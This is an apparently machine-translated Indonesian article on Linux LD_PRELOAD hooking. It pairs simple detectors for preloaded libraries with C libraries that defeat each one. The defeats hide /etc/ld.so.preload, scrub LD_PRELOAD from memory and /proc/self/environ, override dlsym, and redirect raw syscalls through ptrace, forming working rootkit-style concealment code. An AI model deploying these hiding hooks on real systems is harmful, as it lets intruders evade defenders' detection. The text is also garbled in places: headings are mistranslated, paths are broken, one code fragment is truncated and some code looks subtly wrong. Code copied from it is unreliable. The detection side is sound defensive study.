Catatan ini ditulis pada tahun 2014, tetapi saya baru saja berada di bawah represi di hub dan dia tidak melihat cahaya. Selama pelarangan, saya lupa tentang itu, tetapi sekarang saya menemukannya di draft salinan. Kupikir itu untuk dihapus, tapi mungkin seseorang berguna.

Secara umum, admin Jumat kecil membaca tentang topik mencari
LD_PRELOAD "yang disertakan".
1. Penyimpangan kecil bagi mereka yang tidak terbiasa dengan penggantian fungsi
Sisanya bisa langsung ke
langkah 2 .
Mari kita mulai dengan contoh klasik:
#include <stdio.h> #include <stdlib.h> #include <time.h> int main() { srand (time(NULL)); for(int i=0; i<5; i++){ printf ("%d\n", rand()%100); } }
Kompilasi tanpa bendera apa pun:
$ gcc ./ld_rand.c -o ld_rand
Dan, seperti yang diharapkan, kami mendapatkan 5 angka acak kurang dari 100:
$ ./ld_rand 53 93 48 57 20
Tetapi anggaplah kita tidak memiliki kode sumber program, dan kita perlu mengubah perilaku.
Mari kita buat perpustakaan kita sendiri dengan prototipe fungsi kita sendiri, misalnya:
int rand(){ return 42; }
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
Dan sekarang pilihan acak kami cukup dapat diprediksi:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand 42 42 42 42 42
Trik ini terlihat lebih mengesankan jika kita mengekspor perpustakaan kita terlebih dahulu
$ export LD_PRELOAD=$PWD/ld_rand.so
atau pra-eksekusi
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
dan kemudian jalankan program dalam mode normal. Kami belum mengubah satu baris pun dalam kode program itu sendiri, tetapi perilakunya sekarang tergantung pada fungsi kecil di perpustakaan kami. Terlebih lagi, pada saat penulisan,
rand palsu bahkan tidak ada.
Apa yang membuat program kami menggunakan
rand palsu? Mari kita melalui langkah-langkahnya.
Ketika aplikasi dimulai, perpustakaan tertentu dimuat yang berisi fungsi yang diperlukan untuk program. Kita bisa melihatnya menggunakan
ldd :
# ldd ./ld_rand linux-vdso.so.1 (0x00007ffc8b1f3000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000) /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Daftar ini dapat bervariasi tergantung pada versi OS, tetapi harus ada file
libc.so di sana . Perpustakaan inilah yang menyediakan panggilan sistem dan fungsi-fungsi dasar, seperti
buka ,
malloc ,
printf , dll.
Rand kami juga salah satunya. Pastikan ini:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$" 000000000003aef0 T rand
Mari kita lihat apakah kumpulan perpustakaan akan berubah saat menggunakan
LD_PRELOAD # LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand linux-vdso.so.1 (0x00007ffea52ae000) /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000) /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Ternyata variabel set
LD_PRELOAD memaksa
ld_rand.so kita untuk memuat, meskipun program itu sendiri tidak memerlukannya. Dan, karena fungsi
rand kita dimuat lebih awal dari
rand dari
libc.so , maka itu memerintah bola.
Oke, kami berhasil mengganti fungsi asli, tetapi bagaimana memastikan bahwa fungsinya dipertahankan dan beberapa tindakan ditambahkan. Kami memodifikasi acak kami:
#define _GNU_SOURCE #include <dlfcn.h> #include <stdio.h> typedef int (*orig_rand_f_type)(void); int rand() { /* */ printf("Evil injected code\n"); orig_rand_f_type orig_rand; orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand"); return orig_rand(); }
Di sini, sebagai "aditif," kami hanya mencetak satu baris teks, dan kemudian membuat pointer ke fungsi
rand asli. Untuk mendapatkan alamat fungsi ini, kita perlu
dlsym - ini adalah fungsi dari
libdl library yang akan menemukan
rand kita di tumpukan perpustakaan dinamis. Setelah itu kita akan memanggil fungsi ini dan mengembalikan nilainya. Karenanya, kita perlu menambahkan
"-ldl" saat membangun:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand Evil injected code 66 Evil injected code 28 Evil injected code 93 Evil injected code 93 Evil injected code 95
Dan program kami menggunakan
rand "asli", setelah melakukan beberapa tindakan tidak senonoh.
2. Pencarian tepung
Mengetahui potensi ancaman, kami ingin mengetahui bahwa
preload telah dijalankan. Jelas bahwa cara terbaik untuk mendeteksi adalah memasukkannya ke dalam kernel, tetapi saya tertarik dengan definisi yang tepat dalam ruang pengguna.
Selanjutnya, solusi untuk deteksi dan sanggahan mereka akan berpasangan.
2.1. Mari kita mulai dengan yang sederhana
Seperti disebutkan sebelumnya, Anda bisa menentukan pustaka yang akan dimuat menggunakan variabel
LD_PRELOAD atau dengan menuliskannya di file
/etc/ld.so.preload . Mari kita buat dua detektor paling sederhana.
Yang pertama adalah memeriksa variabel lingkungan yang disetel:
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> int main() { char* pGetenv = getenv("LD_PRELOAD"); pGetenv != NULL ? printf("LD_PRELOAD (getenv) [+]\n"): printf("LD_PRELOAD (getenv) [-]\n"); }
Yang kedua adalah untuk memeriksa pembukaan file:
#include <stdio.h> #include <fcntl.h> int main() { open("/etc/ld.so.preload", O_RDONLY) != -1 ? printf("LD_PRELOAD (open) [+]\n"): printf("LD_PRELOAD (open) [-]\n"); }
Muat perpustakaan:
$ export LD_PRELOAD=$PWD/ld_rand.so $ echo "$PWD/ld_rand.so" > /etc/ld.so.preload $ ./detect_base_getenv LD_PRELOAD (getenv) [+] $ ./detect_base_open LD_PRELOAD (open) [+]
Selanjutnya, [+] menunjukkan deteksi yang berhasil.
Dengan demikian, [-] berarti deteksi bypass.
Seberapa efektif detektor seperti itu? Pertama, mari kita lihat variabel lingkungan:
#define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <dlfcn.h> char* (*orig_getenv)(const char *) = NULL; char* getenv(const char *name) { if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv"); if(strcmp(name, "LD_PRELOAD") == 0) return NULL; return orig_getenv(name); }
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so $ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv LD_PRELOAD (getenv) [-]
Demikian pula, kami menyingkirkan cek
terbuka :
#define _GNU_SOURCE #include <string.h> #include <stdlib.h> #include <dlfcn.h> #include <errno.h> int (*orig_open)(const char*, int oflag) = NULL; int open(const char *path, int oflag, ...) { char real_path[256]; if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open"); realpath(path, real_path); if(strcmp(real_path, "/etc/ld.so.preload") == 0){ errno = ENOENT; return -1; } return orig_open(path, oflag); }
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so $ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open LD_PRELOAD (open) [-]
Ya, metode lain untuk mengakses file dapat digunakan di sini, seperti
open64 ,
stat , dll., Tetapi, pada kenyataannya, 5-10 baris kode yang sama diperlukan untuk menipu mereka.
2.2. Pindah
Di atas kami menggunakan
getenv () untuk mendapatkan nilai
LD_PRELOAD , tetapi ada juga cara yang lebih “tingkat rendah” untuk mendapatkan variabel
ENV . Kami tidak akan menggunakan fungsi perantara, tetapi merujuk ke array
** environment, di mana salinan lingkungan disimpan:
#include <stdio.h> #include <string.h> extern char **environ; int main(int argc, char **argv) { int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { printf("LD_PRELOAD (**environ) [+]\n"); return 0; } } printf("LD_PRELOAD (**environ) [-]\n"); return 0; }
Karena di sini kita membaca data langsung dari memori, panggilan seperti itu tidak dapat dicegat, dan
undetect_getenv kami tidak lagi mengganggu penentuan intrusi.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ LD_PRELOAD (**environ) [+]
Tampaknya masalah telah diselesaikan? Masih baru mulai.
Setelah program diluncurkan, nilai variabel
LD_PRELOAD dalam memori tidak lagi diperlukan untuk cracker, yaitu, Anda dapat membacanya dan menghapusnya sebelum instruksi dijalankan. Tentu saja, mengedit larik dalam memori setidaknya merupakan gaya pemrograman yang buruk, tetapi bisakah ini benar-benar menghentikan seseorang yang tidak benar-benar berharap kami dengan baik?
Untuk melakukan ini, kita perlu membuat fungsi palsu kita sendiri
init () , di mana kita mencegat
LD_PRELOAD yang terpasang dan meneruskannya ke tautan kita:
#define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> extern char **environ; char *evil_env; int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL; // init // // - void evil_init() { // LD_PRELOAD static const char *ldpreload = "LD_PRELOAD"; int len = strlen(getenv(ldpreload)); evil_env = (char*) malloc(len+1); strcpy(evil_env, getenv(ldpreload)); int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { // LD_PRELOAD unsetenv(env); break; } } } int execve(const char *path, char *const argv[], char *const envp[]) { int i = 0, j = 0, k = -1, ret = 0; char** new_env; if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve"); // LD_PRELOAD for(i = 0; envp[i]; i++){ if(strstr(envp[i], "LD_PRELOAD")) k = i; } // LD_PRELOAD , if(k == -1){ k = i; i++; } // new_env = (char**) malloc((i+1)*sizeof(char*)); // , LD_PRELOAD for(j = 0; j < i; j++) { // LD_PRELOAD if(j == k) { new_env[j] = (char*) malloc(256); strcpy(new_env[j], "LD_PRELOAD="); strcat(new_env[j], evil_env); } else new_env[j] = (char*) envp[j]; } new_env[i] = NULL; ret = orig_execve(path, argv, new_env); free(new_env[k]); free(new_env); return ret; }
Kami melakukan, periksa:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so $ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ LD_PRELOAD (**environ) [-]
2.3. / proc / self /
Namun, memori bukan tempat terakhir di mana Anda dapat mendeteksi spoofing
LD_PRELOAD , ada juga
/ proc / . Mari kita mulai dengan yang jelas
/ proc / {PID} / environment .
Sebenarnya ada solusi universal untuk
mendeteksi ** lingkungan dan
/ proc / diri / lingkungan . Masalahnya adalah perilaku "salah" dari
unsetenv (env) .
opsi yang benar void evil_init() {
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so $ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD $
Tapi misalkan kita tidak menemukannya dan
/ proc / self / environment berisi data "bermasalah".
Pertama, coba dengan "penyamaran" kami sebelumnya:
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD LD_PRELOAD=./ld_undetect_environ.so
cat menggunakan
open () yang sama untuk membuka file, jadi solusinya mirip dengan apa yang sudah dilakukan di bagian 2.1, tapi sekarang kita membuat file sementara di mana kita menyalin nilai memori sebenarnya tanpa garis yang mengandung
LD_PRELOAD .
#define _GNU_SOURCE #include <dlfcn.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <limits.h> #include <errno.h> #define BUFFER_SIZE 256 int (*orig_open)(const char*, int oflag) = NULL; char *soname = "fakememory_preload.so"; char *sstrstr(char *str, const char *sub) { int i, found; char *ptr; found = 0; for(ptr = str; *ptr != '\0'; ptr++) { found = 1; for(i = 0; found == 1 && sub[i] != '\0'; i++){ if(sub[i] != ptr[i]) found = 0; } if(found == 1) break; } if(found == 0) return NULL; return ptr + i; } void fakeMaps(char *original_path, char *fake_path, char *pattern) { int fd; char buffer[BUFFER_SIZE]; int bytes = -1; int wbytes = -1; int k = 0; pid_t pid = getpid(); int fh; if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) { printf("LD: Cannot open write-file [%s] (%d) (%s)\n", fake_path, errno, strerror(errno)); exit (42); } if((fd=orig_open(original_path, O_RDONLY))==-1) { printf("LD: Cannot open read-file.\n"); exit(42); } do { char t = 0; bytes = read(fd, &t, 1); buffer[k++] = t; //printf("%c", t); if(t == '\0') { //printf("\n"); if(!sstrstr(buffer, "LD_PRELOAD")) { if((wbytes = write(fh,buffer,k))==-1) { //printf("write error\n"); } else { //printf("writed %d\n", wbytes); } } k = 0; } } while(bytes != 0); close(fd); close(fh); } int open(const char *path, int oflag, ...) { char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX]; pid_t pid = getpid(); if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open"); realpath(path, real_path); snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid); if(strcmp(real_path, proc_path) == 0) { snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid); realpath(proc_path_0, proc_path); fakeMaps(real_path, proc_path, soname); return orig_open(proc_path, oflag); } return orig_open(path, oflag); }
Dan tahap ini telah selesai:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD $
Tempat jelas berikutnya adalah
/ proc / self / maps . Tidak masuk akal untuk berlama-lama di sana. Solusinya benar-benar identik dengan yang sebelumnya: salin data dari file minus garis antara
libc.so dan
ld.so.2.4. Opsi dari Chokepoint
Saya terutama menyukai solusi ini karena kesederhanaannya. Bandingkan alamat fungsi yang dimuat langsung dari
libc dan alamat "NEXT".
#define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #define LIBC "/lib/x86_64-linux-gnu/libc.so.6" int main(int argc, char *argv[]) { void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly char *syscall_open = "open"; int i; void *(*libc_func)(); void *(*next_func)(); libc_func = dlsym(libc, syscall_open); next_func = dlsym(RTLD_NEXT, syscall_open); if (libc_func != next_func) { printf("LD_PRELOAD (syscall - %s) [+]\n", syscall_open); printf("Libc address: %p\n", libc_func); printf("Next address: %p\n", next_func); } else { printf("LD_PRELOAD (syscall - %s) [-]\n", syscall_open); } return 0; }
Kami memuat pustaka dengan intersepsi
"open ()" dan periksa:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so $ ./detect_chokepoint LD_PRELOAD (syscall - open) [+] Libc address: 0x7fa86893b160 Next address: 0x7fa868a26135
Penolakan itu ternyata lebih sederhana:
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dlfcn.h> extern void * _dl_sym (void *, const char *, void *); void * dlsym (void * handle, const char * symbol) { return _dl_sym (handle, symbol, dlsym); }
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
Tampaknya hanya itu, tetapi masih menggelepar. Jika kita mengarahkan panggilan sistem langsung ke kernel, ini akan menghindari seluruh proses intersepsi. Solusi di bawah ini, tentu saja,
bergantung pada arsitektur (
x86_64 ). Mari kita coba implementasikan
ld.so.preload untuk mendeteksi pembukaan.
#include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #define BUFFER_SIZE 256 int syscall_open(char *path, long oflag) { int fd = -1; __asm__ ( "mov $2, %%rax;" // Open syscall number "mov %1, %%rdi;" // Address of our string "mov %2, %%rsi;" // Open mode "mov $0, %%rdx;" // No create mode "syscall;" // Straight to ring0 "mov %%eax, %0;" // Returned file descriptor :"=r" (fd) :"m" (path), "m" (oflag) :"rax", "rdi", "rsi", "rdx" ); return fd; } int main() { syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ? printf("LD_PRELOAD (open syscall) [+]\n"): printf("LD_PRELOAD (open syscall) [-]\n"); }
$ ./detect_syscall LD_PRELOAD (open syscall) [+]
Dan masalah ini punya solusinya. Kutipan dari
pria :
ptrace adalah alat yang memungkinkan proses induk untuk mengamati dan mengontrol aliran proses lain, melihat dan mengubah data dan registernya. Biasanya, fungsi ini digunakan untuk membuat breakpoints dalam program debugging dan melacak panggilan sistem.
Proses induk dapat mulai melacak dengan terlebih dahulu memanggil fungsi fork (2), dan kemudian proses anak yang dihasilkan dapat menjalankan PTRACE_TRACEME, diikuti oleh (biasanya) eksekusi exec (3). Di sisi lain, proses induk dapat mulai men-debug proses yang ada menggunakan PTRACE_ATTACH.
Saat melacak, proses anak berhenti setiap kali sinyal diterima, bahkan jika sinyal ini diabaikan. (Pengecualian adalah SIGKILL, yang bekerja dengan cara biasa.) Proses induk akan diberitahu tentang hal ini ketika menunggu (2) dipanggil, setelah itu dapat melihat dan memodifikasi konten proses anak sebelum dimulai. Setelah itu, proses induk memungkinkan anak untuk terus bekerja, dalam beberapa kasus mengabaikan sinyal yang dikirim kepadanya atau mengirim sinyal lain sebagai gantinya).
Dengan demikian, solusinya adalah melacak proses, menghentikannya sebelum setiap panggilan sistem dan, jika perlu, mengarahkan utas ke fungsi perangkap.
#define _GNU_SOURCE #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <limits.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/reg.h> #include <sys/user.h> #include <asm/unistd.h> #if defined(__x86_64__) #define REG_SYSCALL ORIG_RAX #define REG_SP rsp #define REG_IP rip #endif long NOHOOK = 0; long evil_open(const char *path, long oflag, long cflag) { char real_path[PATH_MAX], maps_path[PATH_MAX]; long ret; pid_t pid; pid = getpid(); realpath(path, real_path); if(strcmp(real_path, "/etc/ld.so.preload") == 0) { errno = ENOENT; ret = -1; } else { NOHOOK = 1; // Entering NOHOOK section ret = open(path, oflag, cflag); } // Exiting NOHOOK section NOHOOK = 0; return ret; } void init() { pid_t program; // program = fork(); if(program != 0) { int status; long syscall_nr; struct user_regs_struct regs; // if(ptrace(PTRACE_ATTACH, program) != 0) { printf("Failed to attach to the program.\n"); exit(1); } waitpid(program, &status, 0); // SYSCALLs ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD); while(1) { ptrace(PTRACE_SYSCALL, program, 0, 0); waitpid(program, &status, 0); if(WIFEXITED(status) || WIFSIGNALED(status)) break; else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) { // syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL); if(syscall_nr == __NR_open) { // NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK); // if(!NOHOOK) { // // regs ptrace(PTRACE_GETREGS, program, 0, ®s); // Push return address on the stack regs.REG_SP -= sizeof(long); // ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP); // RIP evil_open regs.REG_IP = (unsigned long) evil_open; // ptrace(PTRACE_SETREGS, program, 0, ®s); } } ptrace(PTRACE_SYSCALL, program, 0, 0); waitpid(program, &status, 0); } } exit(0); } else { sleep(0); } }
Kami memeriksa:
$ ./detect_syscall LD_PRELOAD (open syscall) [+] $ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall LD_PRELOAD (open syscall) [-]
+ 0-0 = 5Terima kasih banyak
Charles HubainChokepointValdiksPhilippe teuwenderhassartikel-artikel, kode-kode sumber, dan komentar-komentarnya lebih dari saya untuk membuat artikel ini muncul di sini.